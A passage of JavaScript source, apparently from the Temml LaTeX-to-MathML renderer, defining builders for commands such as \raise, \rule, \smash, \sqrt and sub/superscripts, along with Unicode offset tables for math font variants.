10208// The version of \pmb in ambsy.sty works by typesetting three copies of the argument
10209// with small offsets. We use CSS font-weight:bold.
10210
10211defineFunction({
10212 type: "pmb",
10213 names: ["\\pmb"],
10214 props: {
10215 numArgs: 1,
10216 allowedInText: true
10217 },
10218 handler({ parser }, args) {
10219 return {
10220 type: "pmb",
10221 mode: parser.mode,
10222 body: ordargument(args[0])
10223 }
10224 },
10225 mathmlBuilder(group, style) {
10226 const inner = buildExpression(group.body, style);
10227 // Wrap with an <mstyle> element.
10228 const node = wrapWithMstyle(inner);
10229 node.setAttribute("style", "font-weight:bold");
10230 return node
10231 }
10232});
10233
10234// \raise, \lower, and \raisebox
10235
10236const mathmlBuilder = (group, style) => {
10237 const newStyle = style.withLevel(StyleLevel.TEXT);
10238 const node = new mathMLTree.MathNode("mpadded", [buildGroup$1(group.body, newStyle)]);
10239 const dy = calculateSize(group.dy, style);
10240 node.setAttribute("voffset", dy.number + dy.unit);
10241 // Add padding, which acts to increase height in Chromium.
10242 // TODO: Figure out some way to change height in Firefox w/o breaking Chromium.
10243 if (dy.number > 0) {
10244 node.style.padding = dy.number + dy.unit + " 0 0 0";
10245 } else {
10246 node.style.padding = "0 0 " + Math.abs(dy.number) + dy.unit + " 0";
10247 }
10248 return node
10249};
10250
10251defineFunction({
10252 type: "raise",
10253 names: ["\\raise", "\\lower"],
10254 props: {
10255 numArgs: 2,
10256 argTypes: ["size", "primitive"],
10257 primitive: true
10258 },
10259 handler({ parser, funcName }, args) {
10260 const amount = assertNodeType(args[0], "size").value;
10261 if (funcName === "\\lower") { amount.number *= -1; }
10262 const body = args[1];
10263 return {
10264 type: "raise",
10265 mode: parser.mode,
10266 dy: amount,
10267 body
10268 };
10269 },
10270 mathmlBuilder
10271});
10272
10273
10274defineFunction({
10275 type: "raise",
10276 names: ["\\raisebox"],
10277 props: {
10278 numArgs: 2,
10279 argTypes: ["size", "hbox"],
10280 allowedInText: true
10281 },
10282 handler({ parser, funcName }, args) {
10283 const amount = assertNodeType(args[0], "size").value;
10284 const body = args[1];
10285 return {
10286 type: "raise",
10287 mode: parser.mode,
10288 dy: amount,
10289 body
10290 };
10291 },
10292 mathmlBuilder
10293});
10294
10295defineFunction({
10296 type: "ref",
10297 names: ["\\ref", "\\eqref"],
10298 props: {
10299 numArgs: 1,
10300 argTypes: ["raw"]
10301 },
10302 handler({ parser, funcName }, args) {
10303 return {
10304 type: "ref",
10305 mode: parser.mode,
10306 funcName,
10307 string: args[0].string.replace(invalidIdRegEx, "")
10308 };
10309 },
10310 mathmlBuilder(group, style) {
10311 // Create an empty <a> node. Set a class and an href attribute.
10312 // The post-processor will populate with the target's tag or equation number.
10313 const classes = group.funcName === "\\ref" ? ["tml-ref"] : ["tml-ref", "tml-eqref"];
10314 return new AnchorNode("#" + group.string, classes, null)
10315 }
10316});
10317
10318defineFunction({
10319 type: "reflect",
10320 names: ["\\reflectbox"],
10321 props: {
10322 numArgs: 1,
10323 argTypes: ["hbox"],
10324 allowedInText: true
10325 },
10326 handler({ parser }, args) {
10327 return {
10328 type: "reflect",
10329 mode: parser.mode,
10330 body: args[0]
10331 };
10332 },
10333 mathmlBuilder(group, style) {
10334 const node = buildGroup$1(group.body, style);
10335 node.style.transform = "scaleX(-1)";
10336 return node
10337 }
10338});
10339
10340defineFunction({
10341 type: "internal",
10342 names: ["\\relax"],
10343 props: {
10344 numArgs: 0,
10345 allowedInText: true
10346 },
10347 handler({ parser }) {
10348 return {
10349 type: "internal",
10350 mode: parser.mode
10351 };
10352 }
10353});
10354
10355defineFunction({
10356 type: "rule",
10357 names: ["\\rule"],
10358 props: {
10359 numArgs: 2,
10360 numOptionalArgs: 1,
10361 allowedInText: true,
10362 allowedInMath: true,
10363 argTypes: ["size", "size", "size"]
10364 },
10365 handler({ parser }, args, optArgs) {
10366 const shift = optArgs[0];
10367 const width = assertNodeType(args[0], "size");
10368 const height = assertNodeType(args[1], "size");
10369 return {
10370 type: "rule",
10371 mode: parser.mode,
10372 shift: shift && assertNodeType(shift, "size").value,
10373 width: width.value,
10374 height: height.value
10375 };
10376 },
10377 mathmlBuilder(group, style) {
10378 const width = calculateSize(group.width, style);
10379 const height = calculateSize(group.height, style);
10380 const shift = group.shift
10381 ? calculateSize(group.shift, style)
10382 : { number: 0, unit: "em" };
10383 const color = (style.color && style.getColor()) || "black";
10384
10385 const rule = new mathMLTree.MathNode("mspace");
10386 if (width.number > 0 && height.number > 0) {
10387 rule.setAttribute("mathbackground", color);
10388 }
10389 rule.setAttribute("width", width.number + width.unit);
10390 rule.setAttribute("height", height.number + height.unit);
10391 if (shift.number === 0) { return rule }
10392
10393 const wrapper = new mathMLTree.MathNode("mpadded", [rule]);
10394 if (shift.number >= 0) {
10395 wrapper.setAttribute("height", "+" + shift.number + shift.unit);
10396 } else {
10397 wrapper.setAttribute("height", shift.number + shift.unit);
10398 wrapper.setAttribute("depth", "+" + -shift.number + shift.unit);
10399 }
10400 wrapper.setAttribute("voffset", shift.number + shift.unit);
10401 return wrapper;
10402 }
10403});
10404
10405// The size mappings are taken from TeX with \normalsize=10pt.
10406// We don't have to track script level. MathML does that.
10407const sizeMap = {
10408 "\\tiny": 0.5,
10409 "\\sixptsize": 0.6,
10410 "\\Tiny": 0.6,
10411 "\\scriptsize": 0.7,
10412 "\\footnotesize": 0.8,
10413 "\\small": 0.9,
10414 "\\normalsize": 1.0,
10415 "\\large": 1.2,
10416 "\\Large": 1.44,
10417 "\\LARGE": 1.728,
10418 "\\huge": 2.074,
10419 "\\Huge": 2.488
10420};
10421
10422defineFunction({
10423 type: "sizing",
10424 names: [
10425 "\\tiny",
10426 "\\sixptsize",
10427 "\\Tiny",
10428 "\\scriptsize",
10429 "\\footnotesize",
10430 "\\small",
10431 "\\normalsize",
10432 "\\large",
10433 "\\Large",
10434 "\\LARGE",
10435 "\\huge",
10436 "\\Huge"
10437 ],
10438 props: {
10439 numArgs: 0,
10440 allowedInText: true
10441 },
10442 handler: ({ breakOnTokenText, funcName, parser }, args) => {
10443 if (parser.settings.strict && parser.mode === "math") {
10444 // eslint-disable-next-line no-console
10445 console.log(`Temml strict-mode warning: Command ${funcName} is invalid in math mode.`);
10446 }
10447 const body = parser.parseExpression(false, breakOnTokenText, true);
10448 return {
10449 type: "sizing",
10450 mode: parser.mode,
10451 funcName,
10452 body
10453 };
10454 },
10455 mathmlBuilder: (group, style) => {
10456 const newStyle = style.withFontSize(sizeMap[group.funcName]);
10457 const inner = buildExpression(group.body, newStyle);
10458 // Wrap with an <mstyle> element.
10459 const node = wrapWithMstyle(inner);
10460 const factor = (sizeMap[group.funcName] / style.fontSize).toFixed(4);
10461 node.setAttribute("mathsize", factor + "em");
10462 return node;
10463 }
10464});
10465
10466// smash, with optional [tb], as in AMS
10467
10468defineFunction({
10469 type: "smash",
10470 names: ["\\smash"],
10471 props: {
10472 numArgs: 1,
10473 numOptionalArgs: 1,
10474 allowedInText: true
10475 },
10476 handler: ({ parser }, args, optArgs) => {
10477 let smashHeight = false;
10478 let smashDepth = false;
10479 const tbArg = optArgs[0] && assertNodeType(optArgs[0], "ordgroup");
10480 if (tbArg) {
10481 // Optional [tb] argument is engaged.
10482 // ref: amsmath: \renewcommand{\smash}[1][tb]{%
10483 // def\mb@t{\ht}\def\mb@b{\dp}\def\mb@tb{\ht\z@\z@\dp}%
10484 let letter = "";
10485 for (let i = 0; i < tbArg.body.length; ++i) {
10486 const node = tbArg.body[i];
10487 // TODO: Write an AssertSymbolNode
10488 letter = node.text;
10489 if (letter === "t") {
10490 smashHeight = true;
10491 } else if (letter === "b") {
10492 smashDepth = true;
10493 } else {
10494 smashHeight = false;
10495 smashDepth = false;
10496 break;
10497 }
10498 }
10499 } else {
10500 smashHeight = true;
10501 smashDepth = true;
10502 }
10503
10504 const body = args[0];
10505 return {
10506 type: "smash",
10507 mode: parser.mode,
10508 body,
10509 smashHeight,
10510 smashDepth
10511 };
10512 },
10513 mathmlBuilder: (group, style) => {
10514 const node = new mathMLTree.MathNode("mpadded", [buildGroup$1(group.body, style)]);
10515
10516 if (group.smashHeight) {
10517 node.setAttribute("height", "0px");
10518 }
10519
10520 if (group.smashDepth) {
10521 node.setAttribute("depth", "0px");
10522 }
10523
10524 return node;
10525 }
10526});
10527
10528defineFunction({
10529 type: "sqrt",
10530 names: ["\\sqrt"],
10531 props: {
10532 numArgs: 1,
10533 numOptionalArgs: 1
10534 },
10535 handler({ parser }, args, optArgs) {
10536 const index = optArgs[0];
10537 const body = args[0];
10538 return {
10539 type: "sqrt",
10540 mode: parser.mode,
10541 body,
10542 index
10543 };
10544 },
10545 mathmlBuilder(group, style) {
10546 const { body, index } = group;
10547 return index
10548 ? new mathMLTree.MathNode("mroot", [
10549 buildGroup$1(body, style),
10550 buildGroup$1(index, style.incrementLevel())
10551 ])
10552 : new mathMLTree.MathNode("msqrt", [buildGroup$1(body, style)]);
10553 }
10554});
10555
10556const styleMap = {
10557 display: 0,
10558 text: 1,
10559 script: 2,
10560 scriptscript: 3
10561};
10562
10563const styleAttributes = {
10564 display: ["0", "true"],
10565 text: ["0", "false"],
10566 script: ["1", "false"],
10567 scriptscript: ["2", "false"]
10568};
10569
10570defineFunction({
10571 type: "styling",
10572 names: ["\\displaystyle", "\\textstyle", "\\scriptstyle", "\\scriptscriptstyle"],
10573 props: {
10574 numArgs: 0,
10575 allowedInText: true,
10576 primitive: true
10577 },
10578 handler({ breakOnTokenText, funcName, parser }, args) {
10579 // parse out the implicit body
10580 const body = parser.parseExpression(true, breakOnTokenText, true);
10581
10582 const scriptLevel = funcName.slice(1, funcName.length - 5);
10583 return {
10584 type: "styling",
10585 mode: parser.mode,
10586 // Figure out what scriptLevel to use by pulling out the scriptLevel from
10587 // the function name
10588 scriptLevel,
10589 body
10590 };
10591 },
10592 mathmlBuilder(group, style) {
10593 // Figure out what scriptLevel we're changing to.
10594 const newStyle = style.withLevel(styleMap[group.scriptLevel]);
10595 // The style argument in the next line does NOT directly set a MathML script level.
10596 // It just tracks the style level, in case we need to know it for supsub or mathchoice.
10597 const inner = buildExpression(group.body, newStyle);
10598 // Wrap with an <mstyle> element.
10599 const node = wrapWithMstyle(inner);
10600
10601 const attr = styleAttributes[group.scriptLevel];
10602
10603 // Here is where we set the MathML script level.
10604 node.setAttribute("scriptlevel", attr[0]);
10605 node.setAttribute("displaystyle", attr[1]);
10606
10607 return node;
10608 }
10609});
10610
10611/**
10612 * Sometimes, groups perform special rules when they have superscripts or
10613 * subscripts attached to them. This function lets the `supsub` group know that
10614 * Sometimes, groups perform special rules when they have superscripts or
10615 * its inner element should handle the superscripts and subscripts instead of
10616 * handling them itself.
10617 */
10618
10619// Helpers
10620const symbolRegEx = /^m(over|under|underover)$/;
10621
10622// Super scripts and subscripts, whose precise placement can depend on other
10623// functions that precede them.
10624defineFunctionBuilders({
10625 type: "supsub",
10626 mathmlBuilder(group, style) {
10627 // Is the inner group a relevant horizonal brace?
10628 let isBrace = false;
10629 let isOver;
10630 let isSup;
10631 let appendApplyFunction = false;
10632 let appendSpace = false;
10633 let needsLeadingSpace = false;
10634
10635 if (group.base && group.base.type === "horizBrace") {
10636 isSup = !!group.sup;
10637 if (isSup === group.base.isOver) {
10638 isBrace = true;
10639 isOver = group.base.isOver;
10640 }
10641 }
10642
10643 if (group.base && !group.base.stack &&
10644 (group.base.type === "op" || group.base.type === "operatorname")) {
10645 group.base.parentIsSupSub = true;
10646 appendApplyFunction = !group.base.symbol;
10647 appendSpace = appendApplyFunction && !group.isFollowedByDelimiter;
10648 needsLeadingSpace = group.base.needsLeadingSpace;
10649 }
10650
10651 const children = group.base && group.base.stack
10652 ? [buildGroup$1(group.base.body[0], style)]
10653 : [buildGroup$1(group.base, style)];
10654
10655 // Note regarding scriptstyle level.
10656 // (Sub|super)scripts should not shrink beyond MathML scriptlevel 2 aka \scriptscriptstyle
10657 // Ref: https://w3c.github.io/mathml-core/#the-displaystyle-and-scriptlevel-attributes
10658 // (BTW, MathML scriptlevel 2 is equal to Temml level 3.)
10659 // But Chromium continues to shrink the (sub|super)scripts. So we explicitly set scriptlevel 2.
10660
10661 const childStyle = style.inSubOrSup();
10662 if (group.sub) {
10663 const sub = buildGroup$1(group.sub, childStyle);
10664 if (style.level === 3) { sub.setAttribute("scriptlevel", "2"); }
10665 children.push(sub);
10666 }
10667
10668 if (group.sup) {
10669 const sup = buildGroup$1(group.sup, childStyle);
10670 if (style.level === 3) { sup.setAttribute("scriptlevel", "2"); }
10671 const testNode = sup.type === "mrow" ? sup.children[0] : sup;
10672 if ((testNode && testNode.type === "mo" && testNode.classes.includes("tml-prime"))
10673 && group.base && group.base.text && "fF".indexOf(group.base.text) > -1) {
10674 // Chromium does not address italic correction on prime. Prevent f′ from overlapping.
10675 testNode.classes.push("prime-pad");
10676 }
10677 children.push(sup);
10678 }
10679
10680 let nodeType;
10681 if (isBrace) {
10682 nodeType = isOver ? "mover" : "munder";
10683 } else if (!group.sub) {
10684 const base = group.base;
10685 if (
10686 base &&
10687 base.type === "op" &&
10688 base.limits &&
10689 (style.level === StyleLevel.DISPLAY || base.alwaysHandleSupSub)
10690 ) {
10691 nodeType = "mover";
10692 } else if (
10693 base &&
10694 base.type === "operatorname" &&
10695 base.alwaysHandleSupSub &&
10696 (base.limits || style.level === StyleLevel.DISPLAY)
10697 ) {
10698 nodeType = "mover";
10699 } else {
10700 nodeType = "msup";
10701 }
10702 } else if (!group.sup) {
10703 const base = group.base;
10704 if (
10705 base &&
10706 base.type === "op" &&
10707 base.limits &&
10708 (style.level === StyleLevel.DISPLAY || base.alwaysHandleSupSub)
10709 ) {
10710 nodeType = "munder";
10711 } else if (
10712 base &&
10713 base.type === "operatorname" &&
10714 base.alwaysHandleSupSub &&
10715 (base.limits || style.level === StyleLevel.DISPLAY)
10716 ) {
10717 nodeType = "munder";
10718 } else {
10719 nodeType = "msub";
10720 }
10721 } else {
10722 const base = group.base;
10723 if (base && ((base.type === "op" && base.limits) || base.type === "multiscript") &&
10724 (style.level === StyleLevel.DISPLAY || base.alwaysHandleSupSub)
10725 ) {
10726 nodeType = "munderover";
10727 } else if (
10728 base &&
10729 base.type === "operatorname" &&
10730 base.alwaysHandleSupSub &&
10731 (style.level === StyleLevel.DISPLAY || base.limits)
10732 ) {
10733 nodeType = "munderover";
10734 } else {
10735 nodeType = "msubsup";
10736 }
10737 }
10738
10739 let node = new mathMLTree.MathNode(nodeType, children);
10740 if (appendApplyFunction) {
10741 // Append an <mo>&ApplyFunction;</mo>.
10742 // ref: https://www.w3.org/TR/REC-MathML/chap3_2.html#sec3.2.4
10743 const operator = new mathMLTree.MathNode("mo", [makeText("\u2061", "text")]);
10744 if (needsLeadingSpace) {
10745 const space = new mathMLTree.MathNode("mspace");
10746 space.setAttribute("width", "0.1667em"); // thin space.
10747 node = mathMLTree.newDocumentFragment([space, node, operator]);
10748 } else {
10749 node = mathMLTree.newDocumentFragment([node, operator]);
10750 }
10751 if (appendSpace) {
10752 const space = new mathMLTree.MathNode("mspace");
10753 space.setAttribute("width", "0.1667em"); // thin space.
10754 node.children.push(space);
10755 }
10756 } else if (symbolRegEx.test(nodeType)) {
10757 // Wrap in a <mrow>. Otherwise Firefox stretchy parens will not stretch to include limits.
10758 node = new mathMLTree.MathNode("mrow", [node]);
10759 }
10760
10761 return node
10762 }
10763});
10764
10765// Operator ParseNodes created in Parser.js from symbol Groups in src/symbols.js.
10766
10767const temml_short = ["\\shortmid", "\\nshortmid", "\\shortparallel",
10768 "\\nshortparallel", "\\smallsetminus"];
10769
10770const arrows = ["\\Rsh", "\\Lsh", "\\restriction"];
10771
10772const isArrow = str => {
10773 if (str.length === 1) {
10774 const codePoint = str.codePointAt(0);
10775 return (0x218f < codePoint && codePoint < 0x2200)
10776 }
10777 return str.indexOf("arrow") > -1 || str.indexOf("harpoon") > -1 || arrows.includes(str)
10778};
10779
10780defineFunctionBuilders({
10781 type: "atom",
10782 mathmlBuilder(group, style) {
10783 const node = new mathMLTree.MathNode("mo", [makeText(group.text, group.mode)]);
10784 if (group.family === "punct") {
10785 node.setAttribute("separator", "true");
10786 } else if (group.family === "open" || group.family === "close") {
10787 // Delims built here should not stretch vertically.
10788 // See delimsizing.js for stretchy delims.
10789 if (group.family === "open") {
10790 node.setAttribute("form", "prefix");
10791 // Set an explicit attribute for stretch. Otherwise Firefox may do it wrong.
10792 node.setAttribute("stretchy", "false");
10793 } else if (group.family === "close") {
10794 node.setAttribute("form", "postfix");
10795 node.setAttribute("stretchy", "false");
10796 }
10797 } else if (group.text === "\\mid") {
10798 // Firefox messes up this spacing if at the end of an <mrow>. See it explicitly.
10799 node.setAttribute("lspace", "0.22em"); // medium space
10800 node.setAttribute("rspace", "0.22em");
10801 node.setAttribute("stretchy", "false");
10802 } else if (group.family === "rel" && isArrow(group.text)) {
10803 node.setAttribute("stretchy", "false");
10804 } else if (temml_short.includes(group.text)) {
10805 node.setAttribute("mathsize", "70%");
10806 } else if (group.text === ":") {
10807 // ":" is not in the MathML operator dictionary. Give it BIN spacing.
10808 node.attributes.lspace = "0.2222em";
10809 node.attributes.rspace = "0.2222em";
10810 }
10811 return node;
10812 }
10813});
10814
10815/**
10816 * Maps TeX font commands to "mathvariant" attribute in buildMathML.js
10817 */
10818const fontMap = {
10819 // styles
10820 mathbf: "bold",
10821 mathrm: "normal",
10822 textit: "italic",
10823 mathit: "italic",
10824 mathnormal: "italic",
10825
10826 // families
10827 mathbb: "double-struck",
10828 mathcal: "script",
10829 mathfrak: "fraktur",
10830 mathscr: "script",
10831 mathsf: "sans-serif",
10832 mathtt: "monospace"
10833};
10834
10835/**
10836 * Returns the math variant as a string or null if none is required.
10837 */
10838const getVariant = function(group, style) {
10839 // Handle font specifiers as best we can.
10840 // Chromium does not support the MathML mathvariant attribute.
10841 // So we'll use Unicode replacement characters instead.
10842 // But first, determine the math variant.
10843
10844 // Deal with the \textit, \textbf, etc., functions.
10845 if (style.fontFamily === "texttt") {
10846 return "monospace"
10847 } else if (style.fontFamily === "textsc") {
10848 return "normal"; // handled via character substitution in symbolsOrd.js.
10849 } else if (style.fontFamily === "textsf") {
10850 if (style.fontShape === "textit" && style.fontWeight === "textbf") {
10851 return "sans-serif-bold-italic"
10852 } else if (style.fontShape === "textit") {
10853 return "sans-serif-italic"
10854 } else if (style.fontWeight === "textbf") {
10855 return "sans-serif-bold"
10856 } else {
10857 return "sans-serif"
10858 }
10859 } else if (style.fontShape === "textit" && style.fontWeight === "textbf") {
10860 return "bold-italic"
10861 } else if (style.fontShape === "textit") {
10862 return "italic"
10863 } else if (style.fontWeight === "textbf") {
10864 return "bold"
10865 }
10866
10867 // Deal with the \mathit, mathbf, etc, functions.
10868 const font = style.font;
10869 if (!font || font === "mathnormal") {
10870 return null
10871 }
10872
10873 const mode = group.mode;
10874 switch (font) {
10875 case "mathit":
10876 return "italic"
10877 case "mathrm": {
10878 const codePoint = group.text.codePointAt(0);
10879 // LaTeX \mathrm returns italic for Greek characters.
10880 return (0x03ab < codePoint && codePoint < 0x03cf) ? "italic" : "normal"
10881 }
10882 case "greekItalic":
10883 return "italic"
10884 case "up@greek":
10885 return "normal"
10886 case "boldsymbol":
10887 case "mathboldsymbol":
10888 return "bold-italic"
10889 case "mathbf":
10890 return "bold"
10891 case "mathbb":
10892 return "double-struck"
10893 case "mathfrak":
10894 return "fraktur"
10895 case "mathscr":
10896 case "mathcal":
10897 return "script"
10898 case "mathsf":
10899 return "sans-serif"
10900 case "mathsfit":
10901 return "sans-serif-italic"
10902 case "mathtt":
10903 return "monospace"
10904 }
10905
10906 let text = group.text;
10907 if (symbols[mode][text] && symbols[mode][text].replace) {
10908 text = symbols[mode][text].replace;
10909 }
10910
10911 return Object.prototype.hasOwnProperty.call(fontMap, font) ? fontMap[font] : null
10912};
10913
10914// Chromium does not support the MathML `mathvariant` attribute.
10915// Instead, we replace ASCII characters with Unicode characters that
10916// are defined in the font as bold, italic, double-struck, etc.
10917// This module identifies those Unicode code points.
10918
10919// First, a few helpers.
10920const script = Object.freeze({
10921 B: 0x20EA, // Offset from ASCII B to Unicode script B
10922 E: 0x20EB,
10923 F: 0x20EB,
10924 H: 0x20C3,
10925 I: 0x20C7,
10926 L: 0x20C6,
10927 M: 0x20E6,
10928 R: 0x20C9,
10929 e: 0x20CA,
10930 g: 0x20A3,
10931 o: 0x20C5
10932});
10933
10934const frak = Object.freeze({
10935 C: 0x20EA,
10936 H: 0x20C4,
10937 I: 0x20C8,
10938 R: 0x20CA,
10939 Z: 0x20CE
10940});
10941
10942const bbb = Object.freeze({
10943 C: 0x20BF, // blackboard bold
10944 H: 0x20C5,
10945 N: 0x20C7,
10946 P: 0x20C9,
10947 Q: 0x20C9,
10948 R: 0x20CB,
10949 Z: 0x20CA
10950});
10951
10952const bold = Object.freeze({
10953 "\u03f5": 0x1D2E7, // lunate epsilon
10954 "\u03d1": 0x1D30C, // vartheta
10955 "\u03f0": 0x1D2EE, // varkappa
10956 "\u03c6": 0x1D319, // varphi
10957 "\u03f1": 0x1D2EF, // varrho
10958 "\u03d6": 0x1D30B // varpi
10959});
10960
10961const boldItalic = Object.freeze({
10962 "\u03f5": 0x1D35B, // lunate epsilon
10963 "\u03d1": 0x1D380, // vartheta
10964 "\u03f0": 0x1D362, // varkappa
10965 "\u03c6": 0x1D38D, // varphi
10966 "\u03f1": 0x1D363, // varrho
10967 "\u03d6": 0x1D37F // varpi
10968});
10969
10970const boldsf = Object.freeze({
10971 "\u03f5": 0x1D395, // lunate epsilon
10972 "\u03d1": 0x1D3BA, // vartheta
10973 "\u03f0": 0x1D39C, // varkappa
10974 "\u03c6": 0x1D3C7, // varphi
10975 "\u03f1": 0x1D39D, // varrho
10976 "\u03d6": 0x1D3B9 // varpi
10977});
10978
10979const bisf = Object.freeze({
10980 "\u03f5": 0x1D3CF, // lunate epsilon
10981 "\u03d1": 0x1D3F4, // vartheta
10982 "\u03f0": 0x1D3D6, // varkappa
10983 "\u03c6": 0x1D401, // varphi
10984 "\u03f1": 0x1D3D7, // varrho
10985 "\u03d6": 0x1D3F3 // varpi
10986});
10987
10988// Code point offsets below are derived from https://www.unicode.org/charts/PDF/U1D400.pdf
10989const offset = Object.freeze({
10990 upperCaseLatin: { // A-Z
10991 "normal": ch => { return 0 },
10992 "bold": ch => { return 0x1D3BF },
10993 "italic": ch => { return 0x1D3F3 },
10994 "bold-italic": ch => { return 0x1D427 },
10995 "script": ch => { return script[ch] || 0x1D45B },
10996 "script-bold": ch => { return 0x1D48F },
10997 "fraktur": ch => { return frak[ch] || 0x1D4C3 },
10998 "fraktur-bold": ch => { return 0x1D52B },
10999 "double-struck": ch => { return bbb[ch] || 0x1D4F7 },
11000 "sans-serif": ch => { return 0x1D55F },
11001 "sans-serif-bold": ch => { return 0x1D593 },
11002 "sans-serif-italic": ch => { return 0x1D5C7 },
11003 "sans-serif-bold-italic": ch => { return 0x1D63C },
11004 "monospace": ch => { return 0x1D62F }
11005 },
11006 lowerCaseLatin: { // a-z
11007 "normal": ch => { return 0 },
11008 "bold": ch => { return 0x1D3B9 },
11009 "italic": ch => { return ch === "h" ? 0x20A6 : 0x1D3ED },
11010 "bold-italic": ch => { return 0x1D421 },
11011 "script": ch => { return script[ch] || 0x1D455 },
11012 "script-bold": ch => { return 0x1D489 },
11013 "fraktur": ch => { return 0x1D4BD },
11014 "fraktur-bold": ch => { return 0x1D525 },
11015 "double-struck": ch => { return 0x1D4F1 },
11016 "sans-serif": ch => { return 0x1D559 },
11017 "sans-serif-bold": ch => { return 0x1D58D },
11018 "sans-serif-italic": ch => { return 0x1D5C1 },
11019 "sans-serif-bold-italic": ch => { return 0x1D5F5 },
11020 "monospace": ch => { return 0x1D629 }
11021 },
11022 upperCaseGreek: { // A-Ω
11023 "normal": ch => { return 0 },
11024 "bold": ch => { return 0x1D317 },
11025 "italic": ch => { return 0x1D351 },
11026 // \boldsymbol actually returns upright bold for upperCaseGreek
11027 "bold-italic": ch => { return 0x1D317 },
11028 "script": ch => { return 0 },
11029 "script-bold": ch => { return 0 },
11030 "fraktur": ch => { return 0 },
11031 "fraktur-bold": ch => { return 0 },
11032 "double-struck": ch => { return 0 },
11033 // Unicode has no code points for regular-weight san-serif Greek. Use bold.
11034 "sans-serif": ch => { return 0x1D3C5 },
11035 "sans-serif-bold": ch => { return 0x1D3C5 },
11036 "sans-serif-italic": ch => { return 0 },
11037 "sans-serif-bold-italic": ch => { return 0x1D3FF },
11038 "monospace": ch => { return 0 }
11039 },
11040 lowerCaseGreek: { // α-ω
11041 "normal": ch => { return 0 },
11042 "bold": ch => { return 0x1D311 },
11043 "italic": ch => { return 0x1D34B },
11044 "bold-italic": ch => { return ch === "\u03d5" ? 0x1D37E : 0x1D385 },
11045 "script": ch => { return 0 },
11046 "script-bold": ch => { return 0 },
11047 "fraktur": ch => { return 0 },
11048 "fraktur-bold": ch => { return 0 },
11049 "double-struck": ch => { return 0 },
11050 // Unicode has no code points for regular-weight san-serif Greek. Use bold.
11051 "sans-serif": ch => { return 0x1D3BF },
11052 "sans-serif-bold": ch => { return 0x1D3BF },
11053 "sans-serif-italic": ch => { return 0 },
11054 "sans-serif-bold-italic": ch => { return 0x1D3F9 },
11055 "monospace": ch => { return 0 }
11056 },
11057 varGreek: { // \varGamma, etc
11058 "normal": ch => { return 0 },
11059 "bold": ch => { return bold[ch] || -51 },
11060 "italic": ch => { return 0 },
11061 "bold-italic": ch => { return boldItalic[ch] || 0x3A },
11062 "script": ch => { return 0 },
11063 "script-bold": ch => { return 0 },
11064 "fraktur": ch => { return 0 },
11065 "fraktur-bold": ch => { return 0 },
11066 "double-struck": ch => { return 0 },
11067 "sans-serif": ch => { return boldsf[ch] || 0x74 },
11068 "sans-serif-bold": ch => { return boldsf[ch] || 0x74 },
11069 "sans-serif-italic": ch => { return 0 },
11070 "sans-serif-bold-italic": ch => { return bisf[ch] || 0xAE },
11071 "monospace": ch => { return 0 }
11072 },
11073 numeral: { // 0-9
11074 "normal": ch => { return 0 },
11075 "bold": ch => { return 0x1D79E },
11076 "italic": ch => { return 0 },
11077 "bold-italic": ch => { return 0 },
11078 "script": ch => { return 0 },
11079 "script-bold": ch => { return 0 },
11080 "fraktur": ch => { return 0 },
11081 "fraktur-bold": ch => { return 0 },
11082 "double-struck": ch => { return 0x1D7A8 },
11083 "sans-serif": ch => { return 0x1D7B2 },
11084 "sans-serif-bold": ch => { return 0x1D7BC },
11085 "sans-serif-italic": ch => { return 0 },
11086 "sans-serif-bold-italic": ch => { return 0 },
11087 "monospace": ch => { return 0x1D7C6 }
11088 }
11089});
11090
11091const variantChar = (ch, variant) => {
11092 const codePoint = ch.codePointAt(0);
11093 const block = 0x40 < codePoint && codePoint < 0x5b
11094 ? "upperCaseLatin"
11095 : 0x60 < codePoint && codePoint < 0x7b
11096 ? "lowerCaseLatin"
11097 : (0x390 < codePoint && codePoint < 0x3AA)
11098 ? "upperCaseGreek"
11099 : 0x3B0 < codePoint && codePoint < 0x3CA || ch === "\u03d5"
11100 ? "lowerCaseGreek"
11101 : 0x1D6E1 < codePoint && codePoint < 0x1D6FC || bold[ch]
11102 ? "varGreek"
11103 : (0x2F < codePoint && codePoint < 0x3A)
11104 ? "numeral"
11105 : "other";
11106 return block === "other"
11107 ? ch
11108 : String.fromCodePoint(codePoint + offset[block][variant](ch))
11109};
11110
11111const smallCaps = Object.freeze({
11112 a: "ᴀ",
11113 b: "ʙ",
11114 c: "ᴄ",
11115 d: "ᴅ",
11116 e: "ᴇ",
11117 f: "ꜰ",
11118 g: "ɢ",
11119 h: "ʜ",
11120 i: "ɪ",
11121 j: "ᴊ",
11122 k: "ᴋ",
11123 l: "ʟ",
11124 m: "ᴍ",
11125 n: "ɴ",
11126 o: "ᴏ",
11127 p: "ᴘ",
11128 q: "ǫ",
11129 r: "ʀ",
11130 s: "s",
11131 t: "ᴛ",
11132 u: "ᴜ",
11133 v: "ᴠ",
11134 w: "ᴡ",
11135 x: "x",
11136 y: "ʏ",
11137 z: "ᴢ"
11138});
11139
11140// "mathord" and "textord" ParseNodes created in Parser.js from symbol Groups in
11141// src/symbols.js.
11142
11143const numberRegEx = /^\d(?:[\d,.]*\d)?$/;
11144const latinRegEx = /[A-Ba-z]/;
11145const primes = new Set(["\\prime", "\\dprime", "\\trprime", "\\qprime",
11146 "\\backprime", "\\backdprime", "\\backtrprime"]);
11147
11148const italicNumber = (text, variant, tag) => {
11149 const mn = new mathMLTree.MathNode(tag, [text]);
11150 const wrapper = new mathMLTree.MathNode("mstyle", [mn]);
11151 wrapper.style["font-style"] = "italic";
11152 wrapper.style["font-family"] = "Cambria, 'Times New Roman', serif";
11153 if (variant === "bold-italic") { wrapper.style["font-weight"] = "bold"; }
11154 return wrapper
11155};
11156
11157defineFunctionBuilders({
11158 type: "mathord",
11159 mathmlBuilder(group, style) {
11160 const text = makeText(group.text, group.mode, style);
11161 const codePoint = text.text.codePointAt(0);
11162 // Test for upper-case Greek
11163 const defaultVariant = (0x0390 < codePoint && codePoint < 0x03aa) ? "normal" : "italic";
11164 const variant = getVariant(group, style) || defaultVariant;
11165 if (variant === "script") {
11166 text.text = variantChar(text.text, variant);
11167 return new mathMLTree.MathNode("mi", [text], [style.font])
11168 } else if (variant !== "italic") {
11169 text.text = variantChar(text.text, variant);
11170 }
11171 let node = new mathMLTree.MathNode("mi", [text]);
11172 // TODO: Handle U+1D49C - U+1D4CF per https://www.unicode.org/charts/PDF/U1D400.pdf
11173 if (variant === "normal") {
11174 node.setAttribute("mathvariant", "normal");
11175 if (text.text.length === 1) {
11176 // A Firefox bug will apply spacing here, but there should be none. Fix it.
